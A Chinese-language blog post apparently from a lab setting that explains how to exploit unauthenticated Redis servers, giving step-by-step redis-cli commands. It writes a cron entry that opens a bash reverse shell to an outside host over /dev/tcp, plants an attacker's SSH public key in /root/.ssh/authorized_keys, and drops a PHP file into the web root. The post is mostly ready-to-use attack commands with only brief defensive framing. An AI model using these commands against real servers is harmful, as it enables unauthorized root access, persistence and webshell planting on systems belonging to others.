美文网首页
redis未授权利用方法

redis未授权利用方法

作者: ApacheShiro | 来源:发表于2019-11-22 16:15 被阅读0次

    (1).利用计划任务执行命令反弹shell

    在redis以root权限运行时可以写crontab来执行命令反弹shell

    先在自己的服务器上监听一个端口

    nc -lvnp7999

    然后执行命令:

    root@kali:~# redis-cli -h 192.168.63.130

    192.168.63.130:6379> set x"\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"

    OK

    192.168.63.130:6379> config set dir /var/spool/cron/

    OK

    192.168.63.130:6379> config set dbfilename root

    OK

    192.168.63.130:6379> save

    OK

    nc监听端口已经反弹回来shell

    ps:此处使用bash反弹shell,也可使用其他方法

    (2).写ssh-keygen公钥然后使用私钥登陆

    在以下条件下,可以利用此方法

    Redis服务使用ROOT账号启动

    服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

    首先在本地生成一对密钥:

    root@kali:~/.ssh# ssh-keygen -t rsa

    然后redis执行命令:

    192.168.63.130:6379> config set dir /root/.ssh/

    OK

    192.168.63.130:6379> config set dbfilename authorized_keys

    OK

    192.168.63.130:6379> set x"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"

    OK

    192.168.63.130:6379> save

    OK

    save后可以直接利用公钥登录ssh

    (3).往web物理路径写webshell

    当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

    执行以下命令

    192.168.63.130:6379> config set dir /var/www/html/

    OK

    192.168.63.130:6379> config set dbfilename shell.php

    OK

    192.168.63.130:6379> set x"<?php phpinfo();?>"

    OK

    192.168.63.130:6379> save

    OK

    即可将shell写入web目录(web目录根据实际情况)

    相关文章

      网友评论

          本文标题:redis未授权利用方法

          本文链接:https://www.haomeiwen.com/subject/azdqwctx.html